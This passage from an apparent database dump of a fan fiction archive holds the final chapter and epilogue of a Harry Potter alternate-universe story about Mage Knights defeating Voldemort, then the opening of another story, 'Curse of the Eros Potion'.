block.<br>\n<br>\n&quot;Now, whatever makes you think that, Miss Frost?&quot; said Hermione as\nshe deflected another one of Cassandra\'s blows. However, she was afraid that\nher face betrayed the true panic she was starting to feel. Cassasndra was\nclearly a better sword fighter than she was and Hermione couldn\'t last much\nlonger.<br>\n<br>\nCassandra smirked and parried toward Hermione, her sword twirling around a lot\nmore viciously. Hermione just managed to deflect every one of the blows, but\nshe was clearly on the defensive now. One of Cassandra\'s attacks, deflected\nHermione\'s sword away a little too widely. Not missing her chance, Cassandra\nstruck at Hermione\'s right arm!<br>\n<br>\nHermione screamed in pain as the blade slashed through her arm. She lost her\ngrip on her sword and it flew away with one &quot;Expelliarmus!&quot; from\nCassandra. Fighting tears back, Hermione slumped to the floor as she clutched\nher bloody, wounded arm. With a nauseating jolt, Hermione realized that if it\nhadn\'t been for her armor, she could have very well have lost her arm.<br>\n<br>\nCassandra walked behind Hermione who was still on the arm, clutching her\nthrobbing arm. Cassandra swept Hermione\'s long bushy, brown hair out of the\nway, leaving her neck exposed. With a sinister grin, Cassandra placed the blade\nof her sword on Hermione\'s exposed neck.<br>\n<br>\n&quot;Goodbye my mudblood Queen,&quot; she said. &quot;Give my regards to your\nmudblood mother in law.&quot;<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N Cliffhanger! Mu ha ha ha ha ha!!! I am so evil! Review and I just might put\nthe next chapter up quicker. The next chapter to could very much be the last\nchapter of this fic, and then there\'s the epilogue. Next: The battle continues\nand the two duels come to an end. But how does it end?<br>\n<br>\nColonel-DCR: (sarcastically) Thanks for reminding me, Dad. But I would\'ve\npreferred it if you had e-mailed me. Capt.Coran Horn Jedi Knight: Go on ahead.\nJust remember to give credit to me and I won\'t complain at all!</p>\n\n\n\n\n\n\n'),
	(224, 16, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling,\nWarner Bros. Inc., Scholastic, Bloomsbury, Raincoast, and any other affiliated\nparty.\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 15: End of it All...<br>\n<br>\nGrinning sinisterly, Cassandra raised her sword up fully intending to behead\nHermione right there. For an awful moment, it looked like Hermione had finally\nbeen defeated. She was simply sitting there apparently in a daze. However, just\nas Cassandra\'s sword came swiping down, Hermione ducked and avoided the blade.<br>\n<br>\n&quot;Expelliarmus!&quot; she shouted. Cassandra\'s eyes widened in shock and\nsurprise ad her sword flew out of her hand and into Hermione\'s hand. She didn\'t\nhave time to blink as Hermione spun around and stabbed her in the abdomen.\nHermione stood up and said, &quot;Accio.&quot; Her own sword flew into her\nother hand of the arm that had been wounded by Cassandra. While Cassandra had\nbeen taunting her, Hermione had been secretly applying healing charms to her\nwounded arm.<br>\n<br>\n&quot;You won\'t be waiting for long,&quot; hissed Hermione. &quot;Your master\nwill be joining you soon.&quot; With that, she slashed Cassandra\'s throat,\ncutting her life short.<br>\n<br>\nHermione fell to the ground panting with exhaustion and on the verge of crying.\nShe absolutely loathed taking a life but Cassandra Frost had given her no\nchoice. At the moment, Hermione simply wanted to curl up and sob her feelings\nof guilt and remorse away, preferably in Harry\'s arms. \'Harry,\' she reminded\nherself. \'He\'s still fighting outside.\'<br>\n<br>\nHermione wiped away the tears that had formed in her eyes and stood up. Slowly,\nshe made it over to the podium where the last of the rings of the One Deity\nwere. She reached her hand over the rings.<br>\n<br>\nWith a flash of light, the rings disappeared off the podium and reappeared on\nHermione\'s fingers. \'That\'s all of them,\' she thought. A new feeling of\ndetermination welled up inside her. \'Now to finish the threat of Tempest once\nand for all!\'<br>\n<br>\n* * *<br>\n<br>\nMeanwhile, the Alliance military had finally arrived and were now laying siege\nto the coliseum. Commanding the army on horseback were two older men. One of\nthem was of course Albus Dumbledore. The other man had a peg leg, a face\ncovered with scars, and a magical eye. He was Alastar &quot;Mad- Eye&quot;\nMoody, a retired veteran Mage Knight whom had been called back into duty to\nlead the final battle against the Dark Lord.<br>\n<br>\n&quot;Archers Fire!&quot; he screamed. Alliance archers fired their arrows into\nthe coliseum taking down the remaining cultists on the walls and stands.\nCatapults also released their projectiles, causing great damage to the\ncoliseum. Meanwhile, the battering rams were still working to break down the\ngreat doors.<br>\n<br>\n&quot;Come on! Come on! Work it up! Them Mage Knights need our help in\nthere,&quot; yelled Moody at the battering rams. The battering rams started\nworking harder, but they still could not bring the heavy-set doors down.<br>\n<br>\nSuddenly, Moody heard a throat being cleared behind him. Moody turned around to\nsee Severus Snape standing there.<br>\n<br>\n&quot;Allow me,&quot; said Snape. He pulled out a small vial containing a dark\ngray potion and tossed it at the doors. There was a huge explosion, and the\ndoors came tumbling down.<br>\n<br>\nMoody was speechless for a second while Dumbledore beamed at a smug looking\nSnape. Moody quickly recovered and shouted, &quot;Charge!&quot; Alliance\ncavalry and infantry charged into the coliseum to aid the much-overwhelmed Mage\nKnights. Soon, the tide of the battle had turned against the Children of\nTempest.<br>\n<br>\nHowever, there were two swordsmen completely oblivious to the battle raging\naround them. Harry and Voldemort were now dueling on the very stands of the\ncoliseum, the swords whirling around in high speeds with clashes of metal.<br>\n<br>\nVoldemort swung his sword up in an upward movement, deflecting Harry\'s sword\naway. &quot;It ends now. Avada Kedavra!&quot; he shouted. Harry rolled out of\nthe way, avoiding the green light.<br>\n<br>\n&quot;Oh, so now we\'ve moved onto the killing curse have we?&quot; said Harry.\nHe readied his sword into a battle ready position.<br>\n<br>\n&quot;This is the end!&quot; screamed Voldemort. &quot;Victory is mine, in the\nname of Tempest! Avada Kedavra!&quot;<br>\n<br>\nHarry avoided the killing curse by leaping in the air. He somersaulted and\nlanded behind the Dark Lord. He spun around, swinging his sword out. Voldemort\nflicked his sword behind his back and blocked Harry\'s blow. Harry twirled his\nsword around into a battle ready position as Voldemort spun around, his own\nsword lifted in a battle ready position. The two duelers circled around each\nother, their glaring eyes burning into each other.<br>\n<br>\nHarry struck first, thrusting his sword out in a sudden move. Voldemort\ndeflected the blow and stuck at Harry with and downward strike. Harry blocked\nthe sword and spun around, lashing his sword out. This attack was also blocked.\nThe two duelers continued lashing out at each other, their swords moving faster\nand faster in a whirlwind of motion. However, Harry was now starting to get\nexhausted.<br>\n<br>\n&quot;You\'re tiring, Potter,&quot; taunted Voldemort. &quot;It looks as if I\nwill be the victor this time. Avada Kedavra!&quot; Harry leapt out of the way\nand landed on a low wall near by. He quickly regained his balance as Voldemort\nalso made his way onto the wall.<br>\n<br>\n&quot;We\'ll see who is victor,&quot; hissed Harry. He let out a cry and swung\nhis sword down at Voldemort. The Dark Lord avoided the first blow by backing\naway and blocked the second. He backed away a little more, clearly intending to\nsend a curse at Harry. Harry braced himself for Voldemort\'s curse. Voldemort\ngrinned and shouted, &quot;Expelliarmus!&quot; Harry, whom had been expecting\nthe killing curse was caught by surprise and his sword flew out of his hand.<br>\n<br>\nVoldemort swung at Harry but Harry ducked and avoided the blade. He rammed his\nfist into the Dark Lord\'s gut as hard as he could, causing Voldemort to reel\nback. This gave Harry the time to edge away from Voldemort and summon his\nsword. Harry\'s was panting rather heavily and was having a hard time catching\nhis breath.<br>\n<br>\n&quot;You can\'t win,&quot; said Voldemort. &quot;Even if by some stroke of luck\nyou win this duel, I will come back even more powerful. Before the power of\nTempest, none can stand. Tempest is undefeatable!&quot;<br>\n<br>\n&quot;Well that\'s about to change,&quot; said a voice from behind.<br>\n<br>\n&quot;What?&quot; Voldemort spun around to see Hermione there with rings. With\na flash, have of the rings disappeared off of Hermione\'s fingers and reappeared\non Harry\'s fingers.<br>\n<br>\n&quot;This is the day history changes,&quot; said Hermione. &quot;This is the\nday the war between us and you, good and evil, the One Deity and Tempest ends\nonce and for all.&quot; She raised her hands up, as did Harry.<br>\n<br>\n&quot;No,&quot; said Voldemort. For the first time ever, he truly looked\nfrightened. &quot;NO! Avada Kedavra!&quot;<br>\n<br>\nHermione rolled out of the way and readied herself next to Harry. The two tried\nto gather power into the rings. Unfortunately, another killing curse from the\nDark Lord.<br>\n<br>\n&quot;NO!&quot; screamed Voldemort. &quot;I am Tempest Incarnate! I am\ninvincible! You cannot defeat me! You will never defeat me!&quot; He charged at\nthe couple, his sword raised in front of him. Hermione was knocked out of the\nway but Harry blocked the blow on his sword.<br>\n<br>\n&quot;Its over,&quot; said Harry. &quot;One way or another it\'s all going to\nend here, today.&quot; He pushed back and rammed his hilt into Voldemort\'s\nchin. The Dark Lord reeled back but soon recovered and started lashing out at\nHarry.However, he was clearly letting his emotions control him and Harry now\nhad no problem deflecting all of the blows.<br>\n<br>\nVoldemort finally landed one particulary nasty blow on Harry\'s sword, causing\nHarry to buckle a little. However, Harry suddenly uppercutted the Dark Lord\'s\nright hand with his left hand, causing Voldemort\'s sword to fly into the air.\nFaster than an eye could blink, Harry grabbed the sword and stabbed it into\nVoldemort\'s abdomen!<br>\n<br>\nVoldemort backed away a little, clearly in shock. This finally bought enough\ntime for Hermione to pull herself up and rejoin Harry. Voldemort stared at them\nin shock and fear as Harry and Hermione lifted their hands and shouted,\n&quot;Expecto Patronum!&quot;<br>\n<br>\nWhat emerged was not a scarlet and gold griffin like the time when only two\nrings were used. All eight rings together produced a dazzling light, brighter\nand more brilliant than any ever seen before and music, majestic to the ear and\nyet soothing somehow. In a flash, the light engulfed the Dark Lord.<br>\n<br>\n&quot;NOOOOOOOOO!!!!!!!!!&quot; screamed Voldemort as his body crumbled up into\ndust, leaving behind only the Crystal of Tempest. A shadowy wraith slowly\nemerged from the crystal and a small writhing voice cried out, &quot;One Deity!\nWhy do you still stop me from having what I want?!&quot; With that, the shadowy\nform of Tempest dissolved away in thin air.<br>\n<br>\nNot satisfied yet, Harry took up his sword and with one swipe, shattered the\nCrystal of Tempest into pieces. Thus the threat of Voldemort and of Tempest was\neliminated off of Magiterran once and for all, for the last time.<br>\n<br>\nHarry took a deep breath and sat on the ground. &quot;This had better be the\nlast time,&quot; he muttered. He felt Hermione snake her arms around him from\nbehind.<br>\n<br>\n&quot;I\'m sure this is the last time, love,&quot; said Hermione. &quot;After\nall, I\'m sure even Dark Lord\'s get tired.&quot;<br>\n<br>\nHarry smiled and tilted his head around to face Hermione. Their lips met in a\nsweet, blissful, and passionate kiss that left them breathless. As far as they\nwere concerned, thye didn\'t want this kiss to end, but like all of their\nprevious kisses the issue for air had to finish it.<br>\n<br>\n&quot;Did I ever tell you that I love you?&quot; said Harry.<br>\n<br>\n&quot;Quite often,&quot; said Hermione with a smile. Harry would\'ve kissed her\nagain if a small dragon hadn\'t suddenly landed right next to them. Lin and\nJames leapt into their parents\' arms, laughing in glee.<br>\n<br>\n&quot;You did it!&quot; yelled James with a laugh. &quot;You won! We won! We\nwon!&quot;<br>\n<br>\n&quot;Oh Dad, Mum, I\'m so glad you\'re both OK,&quot; sobbed Lin. Hermione\nhugged their daughter close as Harry spun their son around.<br>\n<br>\nThe coming of the children and served as a prelude for larger crowds that now\ndrew near the Royal Family. Ron and Ginny had recovered and were now giving\ntheir fellow Mage Knights hugs and backslaps as Draco stood nearby, cool as\never. The Griffin Riders had landed, including Sirius and Remus and they were\nall now congratulating Harry and Hermione and cheering. The Alliance army had\njust moped up the last of the cultists and was now letting out a victory cry.<br>\n<br>\n&quot;Well done!&quot; said Dumbledore as he and Moody made their way over to\nHarry and Hermione, &quot;I knew you could do it!&quot;<br>\n<br>\nHowever, Harry and Hermione\'s attention was centered on the figure of Hagrid\nlumbering toward them, with little Virginia sitting on his shoulder.\n&quot;Daddy! Mommy!&quot; she cried with glee. Hagrid let her down and she ran\nup to Harry, hugging him tight as her small arms could.<br>\n<br>\n&quot;Hello, little one,&quot; said Harry. &quot;I missed you.&quot; Hermione\nled the twins over to Harry and Virginia and the Potters gathered into a family\ngroup hug. Around them, Mage Knights and Alliance soldiers were cheering while\nRon released fireworks into the air.<br>\n<br>\n&quot;Where did you get those?&quot; asked Ginny.<br>\n<br>\n&quot;From Fred and George,&quot; said Ron with a grin. &quot;I paid them a\nvisit before the battle, thought I\'d prepare for the victory party.&quot;<br>\n<br>\nMeanwhile, Harry and Hermione were still having a private moment with their\nchildren. &quot;Is it all over?&quot; asked Hermione. &quot;Is it really over\nthis time?&quot;<br>\n<br>\n&quot;That depends on your definition of over,&quot; said Harry. &quot;The war\nagainst Tempest is over, but the rest of our lives is just beginning.&quot;<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N Could everyone please do me a favor? Please go read and review the works of\nColonel-DCR a.k.a. my Dad. He\'s posted an original western on FF.net. Just\ncheck my favorite authors list in my author\'s section. Thanks a lot. Next:\nEpilogue.</p>\n\n\n\n\n\n\n'),
	(224, 17, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling,\nWarner Bros. Inc., Scholastic, Bloomsbury, Raincoast, and any other affiliated\nparty.<br>\n<br>\nThis chapter is dedicated to Richard Harris. God bless his soul.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nEpilogue<br>\n<br>\n5 years later.<br>\n<br>\n&quot;I\'m going to be a Mage Knight today! I\'m going to be a Mage Knight\ntoday!&quot; yelled 11 year old James as he tore through the hallways of\nGodric\'s Hollow Palace with a look of pure joviality. He apparently didn\'t seem\nto care about the fact that it was barely dawn and most of the palace was still\nfast asleep. Or at least, they were until the crown prince came racing by their\nhallways shouting at the top of his lungs.<br>\n<br>\n&quot;What\'s all that shouting?&quot; said a yawning Lin Potter as she emerged\nfrom her bedroom, still in her nightgown.<br>\n<br>\n&quot;I\'m going to be a Mage Knight! I\'m going to be a Mage Knight!&quot;\nyelled James as he zoomed passed his twin sister.<br>\n<br>\n&quot;Well actually, we only become squires today to begin our Mage Knight\ntraining at Hogwarts. The actual promotion to Mage Knight is going to happen\nfor a few years,&quot; said Lin with a smirk.<br>\n<br>\n&quot;Oh fine! Spoil my fun!&quot; said James while crossing his arms.<br>\n<br>\n&quot;That\'s what you get for disturbing my sleep,&quot; said Lin. James stuck\nhis tongue out at her.<br>\n<br>\n&quot;What\'s going on here?&quot; asked a sleepy looking 10 year old Virginia\nas she came out of her room, also still in her nightgown and clutching a\nstuffed bear.<br>\n<br>\n&quot;James is sugar high,&quot; said Lin.<br>\n<br>\n&quot;I am not!&quot; said James rather heatedly. &quot;I\'m just excited that\nwe\'re finally going to get go to Hogwarts today. I\'ve been waiting for this day\nfor a long time.&quot;<br>\n<br>\n&quot;You can say that again,&quot; said Lin. &quot;These past few years it\'s\nbeen nothing but, \'when do we go to Hogwarts? When do we go to Hogwarts? When\ndo we get to become Mage Knights?\' Gave me plenty of headaches.&quot; James\ndecided to ignore his sister.<br>\n<br>\n&quot;I\'m going to miss you two,&quot; said Victoria. &quot;It\'s really not\ngoing to be the same around here without you two. I don\'t know if I\'ll\ncope.&quot; She started to get a little teary eyed.<br>\n<br>\n&quot;There, there now,&quot; said James with a soothing voice while Lin rubbed\nVirginia\'s back. &quot;It\'ll only be one year until you join us at Hogwarts.\nThan, it\'ll be the three of us once again.&quot;<br>\n<br>\n&quot;Four, if we include Chris Weasley,&quot; said Lin. This brightened\nVirginia up considerably.<br>\n<br>\n&quot;Take care of Nomie while I\'m away, OK,&quot; said Lin.<br>\n<br>\n&quot;Or at least until we convince Dumbledore to allow us to keep a dragon on\nschool grounds,&quot; said James. &quot;Hagrid will love that.&quot;<br>\n<br>\n&quot;It\'s against the rules!&quot; said Lin rather icily.<br>\n<br>\n&quot;But you know it\'s what you want,&quot; said James with a trademark Potter\ngrin, that caused even his sisters to stutter a little.<br>\n<br>\n&quot;Where are Dad and Mom anyway?&quot; asked Lin, changing the subject.\n&quot;Didn\'t James\'s childish display wake them up as well as the rest of the\ncastle?&quot; James stuck his tongue out at Lin again.<br>\n<br>\n&quot;I\'m not sure,&quot; said Virginia. &quot;I stopped by their room and they\nhad silencing charms on the doors, not to mention they were locked.&quot;<br>\n<br>\n&quot;Grandpa Sirius says to just leave them alone when it\'s like that. He\'s\nsays Dad and Mom will explain it to us when we\'re ready, whatever that\nmeans,&quot; said James.<br>\n<br>\nAt that moment, Harry and Hermione emerged from a nearby hall, still dressed in\ntheir nightclothes and their hair messier than usual. Despite the fact that\ntheir two older children were leaving for Hogwarts, Harry and Hermione were in\nan unusually good mood.<br>\n<br>\n&quot;Good morning children,&quot; said Hermione. She bent down and kissed\nfirst James then Lin on the forehead. &quot;I\'m going to miss you two. My\nangels are growing up too fast.&quot;<br>\n<br>\n&quot;Oh, we\'ll come back by Yule,&quot; said James. &quot;And besides you two\npractically live at Hogwarts whenever there\'s a Mage Knight emergency.&quot;<br>\n<br>\n&quot;Except those Mage Knight emergencies are very few now, especially after\nthe Children of Tempest were defeated,&quot; said Harry. &quot;I suppose that\'s\na good thing. It means peace is finally coming back to Magiterran.&quot;<br>\n<br>\n&quot;I don\'t understand,&quot; said Lin. &quot;If peace is coming back, why do\nwe still need Mage Knights?&quot;<br>\n<br>\nHarry sighed. &quot;I don\'t know how to explain that, but we\'ll always need\nMage Knights to keep the peace, to put it in simple terms. The one of biggest\nmistakes a nation can make is to relax and laze off during a time of peace,\nbecause otherwise, they\'ll be caught unprepared when evil return. Because it\nwill return, one way or another. If there is one unbreakable law, it\'s that\nevil never cease to exist.&quot; Harry smiled at his older daughter.\n&quot;There, did that help answer your question?&quot;<br>\n<br>\n&quot;A little, yes. Thank you, Dad,&quot; said Lin.<br>\n<br>\n&quot;Well then come on, we need to get you children dressed,&quot; said\nHermione.<br>\n<br>\n&quot;I can take care of that,&quot; said Harry. He clapped his hands two hands\nand with a flash of light, their clothes were changed. Harry was dressed in his\nusual Mage Knight armor and Hermione was now in royal, violet robes and a\ngolden tiara. The children were also now dressed in royal clothing of scarlet\nand white.<br>\n<br>\n&quot;Hmm, I really should learn that spell some tiem,&quot; said Hermione.\nHarry grinned at her.<br>\n<br>\n* * *<br>\n<br>\nA few hours later, the twins were packed and ready to go.<br>\n<br>\n&quot;Remember to write to us as soon as you get there,&quot; said a tearful\nHermion as she hugged the twins close.<br>\n<br>\n&quot;We will, Mum. I promise,&quot; said Lin. She and James held onto Hermione\nanother few seconds before they turned to Harry.<br>\n<br>\n&quot;Take care,&quot; he said while he ruffled the twins\' hair. &quot;And\nremember to wreck havoc in Snape\'s classes.&quot;<br>\n<br>\n&quot;Oh, we\'ll remember all right,&quot; said James with a mischievious grin.\nHe gave Harry a high five and a hug. Lin also hugged Harry before she went over\nto pat Nomie whom was now as big as a house.<br>\n<br>\nOnly about a hour later, James and Lin were at Hogwarts, Virginia was at Ron\'s\nplace playing with Chris, and Harry and Hermione were making their way back to\nGodric\'s Hollow. As they made their way back, Hermione stiffled a sob.<br>\n<br>\n&quot;You\'re not getting sentimental are you?&quot; asked Harry.<br>\n<br>\n&quot;I suppose I am,&quot; said Hermione. &quot;Their growing up so fast. It\nonly seems like yesterday when they were so small and adorable. Before I even\nrealizing, their going to have me take care of the gandchildren.&quot;<br>\n<br>\n&quot;Whoa! One step at a time! They haven\'t even become Mage Knights\nyet.&quot;<br>\n<br>\n&quot;It\'s going to pass quickly,&quot; said Hermione. She started thinking for\na few minutes before she said, &quot;Harry, do you really believe that evil\nwill never truly be banished.&quot;<br>\n<br>\nHarry sighed and said, &quot;Yes. I suppose that\'s why it\'s called the never-\nending war. But I\'m sure our part is over now.&quot;<br>\n<br>\n&quot;Do you really think it\'s fair, passing this burden along to them? They\ndon\'t deserve that.&quot;<br>\n<br>\n&quot;No one does,&quot; said Harry. It was their choice to make, not ours.\nThey\'re the ones who decided to take on that life.&quot;<br>\n<br>\n&quot;I know. I\'m just worried. Motherly instincts I suppose.&quot;<br>\n<br>\n&quot;Well, if it makes you feel better, I\'m feeling the very same fatherly\ninsticnts.&quot; Harry grinned at her and said, &quot;Now, I just want to sit\nback and enjoy the rest of our lives together.&quot;<br>\n<br>\n&quot;No how can I resist that?&quot; said Hermione with a smile. Their lips\nmet into a long passionate kiss. When they finally pulled apart, they were both\nbreathless.<br>\n<br>\n&quot;You know I love you right?&quot; said Hermione.<br>\n<br>\n&quot;I know. I love you too.&quot;<br>\n<br>\n&quot;I\'m just going to continue reminding you that I love you, for the rest of\nour lives and beyond.&quot;<br>\n<br>\n&quot;Oh? Really? Even beyond?&quot; said Harry with a grin.<br>\n<br>\n&quot;That\'s right, because you\'re stuck with me, Harry Potter.&quot;<br>\n<br>\n&quot;How can I say no to that, Hermione Potter?&quot; Hermione\'s answer was\nanother kiss.<br>\n<br>\nTHE END<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N That\'s it! That\'s the end. Finished! Concluded! Ended! Comprende? It\'s\nover! Thank you so much to all of my readers who never abandoned me through\nthis story. It was because of you lot that I was actually able to complete this\nstory.<br>\n<br>\nIf you go to Schnoogle or my Yahoo Group, you can read my latest story,\n&quot;Different Paths&quot;. I MIGHT post this story on fanfiction.net some day\nbut I have no immediate plans to do so. So if you want to read my next story,\nI\'m advising you to go to my Yahoo Group or Schnoogle.<br>\n<br>\nOnce again, Thank you so much for sticking with me on this story. It has been a\njoy to write, and I am truly overjoyed to have written it.</p>\n\n\n\n\n\n\n'),
	(225, 1, '\n\n\n\nCurse of the Eros Potion\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It\nwas an impossibly; it couldn&#8217;t be true!&nbsp;\nHermione Granger was actually running late for a class!&nbsp; She raced down the hall, heading for\nProfessor McGonagall&#8217;s classroom.&nbsp; Her\narms were full with her books, and she was trying to stuff them into her bag as\nshe ran.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">CRASH!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ncollided with someone, and she fell back onto the ground.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\ngosh, I&#8217;m really sorry,&#8221; she apologized, not seeing who it was right away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndon&#8217;t want your apologies, Mudblood!&#8221; Draco Malfoy scowled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\ncall me that!&#8221; Hermione spat at him as she stood back up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My&#8230;my&#8230;aren&#8217;t\nwe a little bitch today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Bloody\nhell, where&#8217;s my wand?&#8217; she grumbled silently.&nbsp;\nWhen she found it, she was going to hex him into next week.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Take\nthat back, Malfoy, right now!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nfelt her heart leap as she felt a familiar presence come up behind her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well,\nif it isn&#8217;t our noble hero?&nbsp; What are\nyou doing here, Potter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nglared back at his nemesis with no fear in his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nsaid take it back, Malfoy, no one calls Hermione a bitch!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How\nsweet?&nbsp; Protecting your girlfriend are\nyou?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s\nmy best friend, you jerk, and if you don&#8217;t take it back, you&#8217;ll live to regret\nit,&#8221; he growled angrily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\ncan&#8217;t touch me, Potter, and you know it.&#8221; Harry merely smirked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nwasn&#8217;t talking about me&#8230;&#8221; and he turned to smile at his best friend, &#8220;&#8230;Hermione\nwill curse you until your hair falls out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\nmake me laugh,&#8221; Malfoy sneered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">What\nhe didn&#8217;t know was that by now Hermione had found her wand.&nbsp; She snapped it up and put it right between\nhis eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Give\nme a reason,&#8221; she hissed just waiting for his answer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Fine,\nyou&#8217;re not a bitch &#8211; just a little too confident!&#8221; and he backed away\nlaughing.&nbsp; Malfoy turned and disappeared\ndown the corridor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nlowered her wand and tucked it into her robes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;He\nnever learns,&#8221; Harry groaned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndoubt he ever will,&#8221; she replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nfinished packing her bag and slung it back over her shoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks\nHarry, that was sweet of you,&#8221; she smiled.&nbsp;\nHe gave her a lopsided grin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey,\nwhat are best friends for?&nbsp; Besides, you\nknow how much I love putting that piece of scum in his place.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\ngiggled slightly and brushed her hair out of her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\nmissed one,&#8221; Harry sighed and pushed the few loose ends back over her ear.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nrecalled that Hermione had hated how bushy her hair was back during first\nyear.&nbsp; Now, it was their seventh year,\nand she had a beautiful waterfall of brown curls.&nbsp; His fingers trailed down the side of her face, and her cheeks\ntinted slightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;There&#8230;all\nbetter now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks,\nI&#8217;m glad you were here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll\nalways be here for you, Mione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nsmiled brightly at hearing him call her that.&nbsp;\nIt was his own private pet name for her, and she&#8217;d grown to love it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\ngosh, I&#8217;m so late; I gotta go!&#8221; Hermione squeezed his hand and dashed off down\nthe hall, leaving Harry grinning slightly at her rapid departure.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Damn\nthat Potter, he always sticks his nose into my business,&#8221; Malfoy growled as he\nstormed into the Slytherin Common Room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And\nthat annoying Mudblood dares to think she can best me &#8211; how impudent!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nare you gonna do?&#8221; Crab asked as he plopped down on the couch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah,\nwhat are you gonna do?&#8221; Goyle repeated.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nhave a plan.&nbsp; Something that&#8217;s going to\ndestroy that little Mudblood and bring that arrogant Potter to his knees.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s\nthat?&#8221; his lackeys asked at the same time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Never\nmind that now, but let&#8217;s just say that the next few days are going to be very\ninteresting,&#8221; Malfoy laughed menacingly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later\nthat week, Hermione was in the library studying just like she did every\nevening.&nbsp; Large books and manuscripts\nwere spread out across the table in front of her, and she turned the page to\ncontinue reading.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Where\nare those two?&nbsp; They should be here by\nnow.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nand Ron were supposed to meet her here to work on a 